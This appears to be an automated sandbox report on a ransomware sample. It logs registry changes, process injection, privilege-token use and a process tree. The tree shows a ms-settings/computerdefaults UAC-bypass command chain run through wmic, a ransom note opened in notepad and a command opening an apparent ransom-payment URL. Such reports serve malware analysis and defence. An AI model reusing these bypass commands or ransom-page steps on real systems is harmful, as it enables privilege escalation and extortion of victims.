d003100320036003000370038003500390033002d0033003600350038003600380036003700320038002d0031003900380034003800380033003300300036002d003800320031003300390039003600390036002d0033003600380034003000370039003900360030002d003500360034003000330038003600380030002d0033003400310034003800380030003000390038002d003300340033003500380032003500320030003100000053002d0031002d00310035002d0033002d0031003000320034002d0031003600390032003900370030003100350035002d0034003000350034003800390033003300330035002d003100380035003700310034003000390031002d0033003300360032003600300031003900340033002d0033003500320036003500390033003100380031002d0031003100350039003800310036003900380034002d0032003100390039003000300038003500380031002d00340039003700340039003200390039003100000053002d0031002d00310035002d0033002d0031003000320034002d003200320030003000320032003700370030002d003700300031003200360031003900380034002d0033003900390031003200390032003900350036002d0034003200300038003700350031003000320030002d0032003900310038003200390033003000350038002d0033003300390036003400310039003300330031002d0031003700300030003900330032003300340038002d003200300037003800330036003400380039003100000053002d0031002d00310035002d0033002d0031003000320034002d003500320038003100310038003900360036002d0033003800370036003800370034003300390038002d003700300039003500310033003500370031002d0031003900300037003800370033003000380034002d0033003500390038003200320037003600330034002d0033003600390038003700330030003000360030002d003200370038003000370037003700380038002d003300390039003000360030003000320030003500000053002d0031002d00310035002d0033002d0031003000320034002d0031003800360034003100310031003700350034002d003700370036003200370033003300310037002d0033003600360036003900320035003000320037002d0032003500320033003900300038003000380031002d0033003700390032003400350038003200300036002d0033003500380032003400370032003400330037002d0034003100310034003400310039003900370037002d003100350038003200380038003400380035003700000053002d0031002d00310035002d0033002d0031003000320034002d0034003000340034003800330035003100330039002d0032003600350038003400380032003000340031002d0033003100320037003900370033003100360034002d003300320039003200380037003200330031002d0033003800360035003800380030003800360031002d0031003900330038003600380035003600340033002d003400360031003000360037003600350038002d003100300038003700300030003000340032003200000053002d0031002d00310035002d0033002d0031003000320034002d0032003900320032003200390036003200360031002d0031003600340037003400380032003700360038002d0032003000310037003000390031003100340036002d0033003800350038003600360037003000360038002d0034003100330035003600360033003600360032002d0032003900330031003900380035003800390034002d0031003600320037003800320030003900320035002d0038003100380033003600360034003300310000000000	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "268435456"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$http://www.typepad.com/	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194\Children\S-1-15-2-36240	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2220	notepad.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2196	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2196	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
1800	WerFault.exe
1800	WerFault.exe
1800	WerFault.exe
1800	WerFault.exe
1800	WerFault.exe
1800	WerFault.exe
1800	WerFault.exe
1800	WerFault.exe
1800	WerFault.exe
1800	WerFault.exe
1800	WerFault.exe
1800	WerFault.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2672	Explorer.EXE

Suspicious behavior: MapViewOfSection 8 IoCs

pid	Process
2196	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2196	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2196	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2196	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2196	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2196	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
5000	MicrosoftEdgeCP.exe
5000	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeDebugPrivilege	1800	WerFault.exe
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1056	WMIC.exe
Token: SeSecurityPrivilege	1056	WMIC.exe
Token: SeTakeOwnershipPrivilege	1056	WMIC.exe
Token: SeLoadDriverPrivilege	1056	WMIC.exe
Token: SeSystemProfilePrivilege	1056	WMIC.exe
Token: SeSystemtimePrivilege	1056	WMIC.exe
Token: SeProfSingleProcessPrivilege	1056	WMIC.exe
Token: SeIncBasePriorityPrivilege	1056	WMIC.exe
Token: SeCreatePagefilePrivilege	1056	WMIC.exe
Token: SeBackupPrivilege	1056	WMIC.exe
Token: SeRestorePrivilege	1056	WMIC.exe
Token: SeShutdownPrivilege	1056	WMIC.exe
Token: SeDebugPrivilege	1056	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1056	WMIC.exe
Token: SeRemoteShutdownPrivilege	1056	WMIC.exe
Token: SeUndockPrivilege	1056	WMIC.exe
Token: SeManageVolumePrivilege	1056	WMIC.exe
Token: 33	1056	WMIC.exe
Token: 34	1056	WMIC.exe
Token: 35	1056	WMIC.exe
Token: 36	1056	WMIC.exe
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeShutdownPrivilege	2672	Explorer.EXE
Token: SeCreatePagefilePrivilege	2672	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1056	WMIC.exe
Token: SeSecurityPrivilege	1056	WMIC.exe
Token: SeTakeOwnershipPrivilege	1056	WMIC.exe
Token: SeLoadDriverPrivilege	1056	WMIC.exe
Token: SeSystemProfilePrivilege	1056	WMIC.exe
Token: SeSystemtimePrivilege	1056	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2448	ComputerDefaults.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2672	Explorer.EXE
1908	MicrosoftEdge.exe
5000	MicrosoftEdgeCP.exe
5000	MicrosoftEdgeCP.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3584	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2312 wrote to memory of 2220	2312	sihost.exe	70
PID 2312 wrote to memory of 2220	2312	sihost.exe	70
PID 2312 wrote to memory of 4584	2312	sihost.exe	72
PID 2312 wrote to memory of 4584	2312	sihost.exe	72
PID 2312 wrote to memory of 4492	2312	sihost.exe	74
PID 2312 wrote to memory of 4492	2312	sihost.exe	74
PID 2312 wrote to memory of 4496	2312	sihost.exe	75
PID 2312 wrote to memory of 4496	2312	sihost.exe	75
PID 2336 wrote to memory of 896	2336	svchost.exe	78
PID 2336 wrote to memory of 896	2336	svchost.exe	78
PID 2336 wrote to memory of 312	2336	svchost.exe	79
PID 2336 wrote to memory of 312	2336	svchost.exe	79
PID 4496 wrote to memory of 1056	4496	cmd.exe	81
PID 4496 wrote to memory of 1056	4496	cmd.exe	81
PID 2672 wrote to memory of 1436	2672	Explorer.EXE	83
PID 2672 wrote to memory of 1436	2672	Explorer.EXE	83
PID 2672 wrote to memory of 1636	2672	Explorer.EXE	84
PID 2672 wrote to memory of 1636	2672	Explorer.EXE	84
PID 4492 wrote to memory of 2188	4492	cmd.exe	87
PID 4492 wrote to memory of 2188	4492	cmd.exe	87
PID 2440 wrote to memory of 2348	2440	taskhostw.exe	88
PID 2440 wrote to memory of 2348	2440	taskhostw.exe	88
PID 2440 wrote to memory of 2524	2440	taskhostw.exe	89
PID 2440 wrote to memory of 2524	2440	taskhostw.exe	89
PID 312 wrote to memory of 3688	312	cmd.exe	158
PID 312 wrote to memory of 3688	312	cmd.exe	158
PID 3584 wrote to memory of 4984	3584	RuntimeBroker.exe	94
PID 3584 wrote to memory of 4984	3584	RuntimeBroker.exe	94
PID 3584 wrote to memory of 5000	3584	RuntimeBroker.exe	95
PID 3584 wrote to memory of 5000	3584	RuntimeBroker.exe	95
PID 896 wrote to memory of 4220	896	cmd.exe	97
PID 896 wrote to memory of 4220	896	cmd.exe	97
PID 1636 wrote to memory of 4952	1636	cmd.exe	99
PID 1636 wrote to memory of 4952	1636	cmd.exe	99
PID 2196 wrote to memory of 5008	2196	cmd.exe	100
PID 2196 wrote to memory of 5008	2196	cmd.exe	100
PID 2196 wrote to memory of 4680	2196	cmd.exe	110
PID 2196 wrote to memory of 4680	2196	cmd.exe	110
PID 2524 wrote to memory of 4672	2524	cmd.exe	101
PID 2524 wrote to memory of 4672	2524	cmd.exe	101
PID 1436 wrote to memory of 2616	1436	cmd.exe	103
PID 1436 wrote to memory of 2616	1436	cmd.exe	103
PID 2348 wrote to memory of 4828	2348	cmd.exe	108
PID 2348 wrote to memory of 4828	2348	cmd.exe	108
PID 2196 wrote to memory of 2908	2196	cmd.exe	104
PID 2196 wrote to memory of 2908	2196	cmd.exe	104
PID 2196 wrote to memory of 960	2196	cmd.exe	106
PID 2196 wrote to memory of 960	2196	cmd.exe	106
PID 5000 wrote to memory of 4840	5000	cmd.exe	111
PID 5000 wrote to memory of 4840	5000	cmd.exe	111
PID 4984 wrote to memory of 820	4984	cmd.exe	112
PID 4984 wrote to memory of 820	4984	cmd.exe	112
PID 960 wrote to memory of 1184	960	cmd.exe	113
PID 960 wrote to memory of 1184	960	cmd.exe	113
PID 5008 wrote to memory of 2108	5008	cmd.exe	114
PID 5008 wrote to memory of 2108	5008	cmd.exe	114
PID 2908 wrote to memory of 2472	2908	cmd.exe	115
PID 2908 wrote to memory of 2472	2908	cmd.exe	115
PID 4680 wrote to memory of 3704	4680	cmd.exe	116
PID 4680 wrote to memory of 3704	4680	cmd.exe	116
PID 1476 wrote to memory of 2276	1476	cmd.exe	121
PID 1476 wrote to memory of 2276	1476	cmd.exe	121
PID 2060 wrote to memory of 2448	2060	cmd.exe	122
PID 2060 wrote to memory of 2448	2060	cmd.exe	122

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3864
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3864 -s 820
  2⤵
  - Program crash
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1800

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3584
- C:\Windows\System32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:820
- C:\Windows\System32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5000
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:4840

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2672
- C:\Users\Admin\AppData\Local\Temp\1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
  "C:\Users\Admin\AppData\Local\Temp\1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2196
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5008
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:2108
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2908
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:2472
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:960
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:1184
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4680
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:3704
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1436
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:2616
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:4952

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2440
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2348
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:4828
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2524
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:4672

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
- Suspicious use of WriteProcessMemory
PID:2336
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:896
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:4220
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:312
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3688

c:\windows\system32\sihost.exe
sihost.exe
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2312
- \??\c:\windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2220
- \??\c:\windows\system32\cmd.exe
  cmd /c "start http://06a44838ca7ca2700eeltalkfzj.jobsbig.cam/eltalkfzj^&1^&52177989^&59^&235^&2215063"
  2⤵
  - Checks computer location settings
  PID:4584
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:2188
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4496
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1056

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  - Suspicious use of FindShellTrayWindow
  PID:2448

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1476
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:2276

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:3316
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:1512

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4092
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:1736

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:936
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:3904

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:3052
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4364

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:3656
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4016

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:2620
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4268

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4592
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:656

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4040
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4628

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:1780
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:508

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:5012
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:804

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4328
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:516

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:3688

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1908

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:1928

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5000

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
PID:4956

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:1448

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:2464

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2196-123-0x000002C391AA0000-0x000002C391AA1000-memory.dmp

Filesize
4KB

Download
memory/2196-121-0x000002C391A60000-0x000002C391A61000-memory.dmp

Filesize
4KB

Download
memory/2196-116-0x000002C3913F0000-0x000002C3913F1000-memory.dmp

Filesize
4KB

Download
memory/2196-117-0x000002C391400000-0x000002C391401000-memory.dmp

Filesize
4KB

Download
memory/2196-125-0x000002C391AC0000-0x000002C391AC1000-memory.dmp

Filesize
4KB

Download
memory/2196-124-0x000002C391AB0000-0x000002C391AB1000-memory.dmp

Filesize
4KB

Download
memory/2196-126-0x000002C391AD0000-0x000002C391AD1000-memory.dmp

Filesize
4KB

Download
memory/2196-118-0x000002C391410000-0x000002C391411000-memory.dmp

Filesize
4KB

Download
memory/2196-159-0x000002C3920F0000-0x000002C3920F1000-memory.dmp

Filesize
4KB

Download
memory/2196-122-0x000002C391A70000-0x000002C391A71000-memory.dmp

Filesize
4KB

Download
memory/2196-115-0x000002C38FA00000-0x000002C38FA06000-memory.dmp

Filesize
24KB

Download
memory/2196-120-0x000002C391A50000-0x000002C391A51000-memory.dmp

Filesize
4KB

Download
memory/2196-119-0x000002C391420000-0x000002C391421000-memory.dmp

Filesize
4KB

Download
memory/2312-127-0x000001733FFE0000-0x000001733FFE4000-memory.dmp

Filesize
16KB

Download